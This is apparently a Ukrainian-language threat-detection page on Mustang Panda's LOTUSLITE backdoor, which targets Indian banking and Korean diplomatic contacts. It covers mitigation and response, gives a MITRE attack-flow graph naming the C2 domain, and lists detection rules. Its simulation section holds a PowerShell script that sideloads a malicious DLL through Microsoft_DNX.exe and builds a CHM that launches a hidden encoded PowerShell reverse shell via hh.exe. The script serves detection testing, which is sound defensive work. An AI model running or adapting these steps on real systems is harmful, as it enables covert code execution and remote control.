Той самий пакет, інша магія: Mustang Panda атакує банківський сектор Індії та геополітику Кореї
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Підрозділ Acronis Threat Research виявив новий варіант бекдору LOTUSLITE, націлений на організації банківського сектору Індії та осіб, пов’язаних з дипломатичними справами Південної Кореї. Шкідливе програмне забезпечення розповсюджується через завантаження DLL, спираючись на легітимний виконуваний файл, підписаний Microsoft, для завантаження шкідливої бібліотеки, а потім взаємодіє з сервером команд і керування, заснованим на динамічному DNS, через HTTPS. На основі шаблонів інфраструктури та перетину з торгівлею дослідники віднесли цю діяльність до Mustang Panda з помірною впевненістю.
Розслідування
Аналітики дослідили шкідливий файл CHM, завантажувач на основі JavaScript та підписаний Microsoft_DNX.exe бінарник, який завантажив DLL, що несе пакет LOTUSLITE. Їх аналіз виявив оновлення в експортованих функціях, конвенціях іменування mutex, команди командного рядка, магічні значення пакетів та методи API. Команда також пов’язала операцію з попередніми кампаніями Mustang Panda через повторно використовувані домени, керовані Dynu, та пов’язану IP-інфраструктуру.
Міграція
Захисники повинні запобігати несанкціонованому завантаженню DLL в довірені виконувані файли, підписані Microsoft, моніторити виявлені шаблони mutex та змінені аргументи командного рядка і застосовувати суворий контроль навколо трафіку динамічного DNS. Служби безпеки також повинні виявляти характерне магічне значення пакета 0xB2EBCFDF та стежити за підозрілими HKCU змінами ключа автозавантаження, що можуть свідчити про стійкість.
Відповідь
Якщо цю діяльність виявлено, потрібно негайно ізолювати уражену систему, зупинити шкідливий процес і видалити як завантажений DLL, так і зловживаний виконуваний файл з диска. Повинен бути захоплений образ пам’яті для судової експертизи, відкриті облікові дані слід скасувати, а виявлені домени команд-керування та IP-адреси блокувати. Також повинен бути проведений ширший пошук у всьому середовищі для артефактів стійкості на основі mutex та реєстру, пов’язаних з кампанією.
"graph TB %% Class definitions section classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodes action_initial_access["<b>Дія</b> – <b>T1566.001 Підроблений Додаток</b><br/>Шкідливий скомпільований файл HTML Help (CHM), відправлений електронною поштою."] class action_initial_access action file_chm["<b>Файл</b> – <b>Ім’я</b>: Request_for_Support.chm<br/><b>Тип</b>: Скомпільована HTML Довідка"] class file_chm file action_user_execution["<b>Дія</b> – <b>T1204.002 Виконання Користувача</b><br/>Жертва відкриває CHM, що активує вбудований JavaScript."] class action_user_execution action action_obfuscation["<b>Дія</b> – <b>T1027 Зашифровані Файли або Інформація</b><br/>JavaScript скидає виконуваний файл, підписаний Microsoft, та шкідливий DLL, використовуючи ActiveX та прихований HTML."] class action_obfuscation action file_ms_dnx["<b>Файл</b> – <b>Ім’я</b>: Microsoft_DNX.exe<br/><b>Підпис</b>: Підписано Microsoft"] class file_ms_dnx file file_lotuslite["<b>Шкідливе ПО</b> – <b>Ім’я</b>: Варіант DLL LotusLite<br/><b>Тип</b>: Динамічна бібліотека посилань"] class file_lotuslite malware action_embedded_payloads["<b>Дія</b> – <b>T1027.009 Вбудовані Навантаження</b><br/>CHM містить JavaScript (music.js), який витягує та запускає DLL та EXE."] class action_embedded_payloads action action_system_binary_proxy["<b>Дія</b> – <b>T1218 Проксі Виконання Системних Файлів</b><br/>Microsoft_DNX.exe проксірує виконання шкідливого DLL через LoadLibraryExW."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Дія</b> – <b>T1127 Зловживання Інструментами Довірених Розробників</b><br/>Зловживання Microsoft_DNX.exe, довіреним засобом виконання .NET, для запуску бекдора."] class action_trusted_dev_utilities action action_script_proxy["<b>Дія</b> – <b>T1216 Проксі Виконання Системних Скриптів</b><br/>Вбудований JavaScript діє як проксі скрипт для запуску виконуваного файлу."] class action_script_proxy action action_hijack_execution["<b>Дія</b> – <b>T1574.005 Викрадення Потоку Виконання</b><br/>Завантаження DLL шляхом розміщення шкідливого DLL з тим самим ім’ям у каталозі виконуваного файлу."] class action_hijack_execution action action_persistence["<b>Дія</b> – <b>T1547.014 Виконання при Завантаженні або Вході</b><br/>Active Setup записує ключ запуску під HKCUSoftwareMicrosoftWindowsCurrentVersionRun."] class action_persistence persistence command_and_control["<b>Команда та Контроль</b><br/>Імплант контактує з динамічним DNS-доменом editor.gleeze.com через HTTPS."] class command_and_control process %% Connections showing attack flow action_initial_access –>|передає| file_chm file_chm –>|відкрита жертвою| action_user_execution action_user_execution –>|активує| action_obfuscation action_obfuscation –>|скидає| file_ms_dnx action_obfuscation –>|скидає| file_lotuslite file_ms_dnx –>|використовується в| action_system_binary_proxy file_ms_dnx –>|використовується в| action_trusted_dev_utilities action_system_binary_proxy –>|завантажує| file_lotuslite action_trusted_dev_utilities –>|виконує| file_lotuslite action_user_execution –>|виконує| action_script_proxy action_script_proxy –>|запускає| file_ms_dnx action_obfuscation –>|вмикає| action_embedded_payloads action_embedded_payloads –>|надає| action_hijack_execution action_hijack_execution –>|полегшує| action_persistence action_persistence –>|встановлює| command_and_control "
Потік атаки
Виявлення
Підозрілі файли в публічному профілі користувача (через file_event)
Перегляд
Можливі точки стійкості [ASEPs – Реєстр Software/NTUSER] (через registry_event)
Перегляд
Підозрілі виконання з публічного профілю користувача (через process_creation)
Перегляд
Індикатори компрометації (HashSha256) для виявлення: Той самий пакет, різна магія: Mustang Panda вражає банківський сектор Індії та геополітику Кореї
Перегляд
Індикатори компрометації (SourceIP) для виявлення: Той самий пакет, різна магія: Mustang Panda вражає банківський сектор Індії та геополітику Кореї
Перегляд
Індикатори компрометації (DestinationIP) для виявлення: Той самий пакет, різна магія: Mustang Panda вражає банківський сектор Індії та геополітику Кореї
Перегляд
Виявлення C2-комунікації бекдору LOTUSLITE [Мережеве з’єднання Windows]
Перегляд
Виявлення бекдору LOTUSLITE через Microsoft DNX та HH.exe [Створення процесу в Windows]
Перегляд
Симуляція виконання
Передумова: Телереметрія та перевірка передбачуваності повинні пройти.
Обґрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для активізації правила виявлення. Команди та оповідання ПОВИННІ безпосередньо відображати ідентифіковані TTP та мають генерувати саме очікувану телеметрію відповідно до логіки виявлення.
-
Нарратив атаки та команди:
-
Етап підготовки шкідливого DLL:
- Зловмисник копіює шкідливий DLL (
lotuslite.dll) в ту саму директорію, що й легітимнийMicrosoft_DNX.exe. Цей DLL містить корисне навантаження бекдору.
- Зловмисник копіює шкідливий DLL (
-
Виконати завантаження DLL через Microsoft_DNX.exe:
- Шляхом запуску
Microsoft_DNX.exeбез аргументів, Windows спочатку завантажує шкідливий DLL (через викрадення “порядку пошуку”), виконуючи бекдор.
- Шляхом запуску
-
Створити шкідливий CHM:
- Файл CHM (
evil.chm) створено, що містить JavaScript, який при рендерингу запускає зворотну оболонку PowerShell.
- Файл CHM (
-
Активувати JavaScript через hh.exe:
- Зловмисник запускає
hh.exe evil.chm, що змушує виконуваний файл HTML Help аналізувати CHM і виконувати вбудований скрипт, досягаючи виконання коду під підписаним бінарником.
- Зловмисник запускає
Ця послідовність генерує два різні події створення процесу Sysmon, що відповідають умовам правила виявлення.
-
-
Скрипт регресійного тестування:
# ------------------------------------------------------------------------- # Симуляція LotusLite – завантаження DLL + виконання CHM через hh.exe # ------------------------------------------------------------------------- # Передумови: # - Встановлено Sysmon і переадресація журналів. # - Привілеї адміністратора (необхідні для запису у Program Files). $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent # 1. Розгорніть шкідливий DLL (симуляція навантаження) $malDllSource = "C:Templotuslite.dll" # <-- замінити правильною директорією навантаження $malDllDest = Join-Path $dnxDir "lotuslite.dll" Copy-Item -Path $malDllSource -Destination $malDllDest -Force # 2. Запустіть Microsoft_DNX.exe для ініціації завантаження DLL Write-Host "[*] Запуск Microsoft_DNX.exe для завантаження DLL..." Start-Process -FilePath $dnxPath -WindowStyle Hidden # 3. Створіть шкідливий CHM з JavaScript (спрощений приклад) $chmPath = "C:Tempevil.chm" $htmlContent = @" <HTML><HEAD> <SCRIPT language=`"JScript`"> var shell = new ActiveXObject("WScript.Shell"); shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0); </SCRIPT> </HEAD><BODY></BODY></HTML> "@ $tempHtml = "C:Tempevil.html" $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII # Використовуйте makecab для обгортання HTML в CHM (потребує інструментів Windows SDK) $makeCab = "$env:WINDIRsystem32makecab.exe" & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath # 4. Виконайте CHM через hh.exe Write-Host "[*] Запуск hh.exe на шкідливому CHM..." Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden # Очистіть тимчасові файли (залиште шкідливий DLL для післядіяльного аналізу) Remove-Item $tempHtml -Force Write-Host "[*] Симуляцію завершено." -
Команди очищення:
# ------------------------------------------------------------------------- # Очищення після симуляції LotusLite # ------------------------------------------------------------------------- $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent $malDllDest = Join-Path $dnxDir "lotuslite.dll" $chmPath = "C:Tempevil.chm" # Видаляти зловмисний DLL if (Test-Path $malDllDest) { Remove-Item $malDllDest -Force Write-Host "[*] Зловмисний DLL видалено." } # Видалити CHM if (Test-Path $chmPath) { Remove-Item $chmPath -Force Write-Host "[*] Шкідливий CHM видалено." } # За наявності термінації залишкових процесів (якщо є) Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Очищення завершено."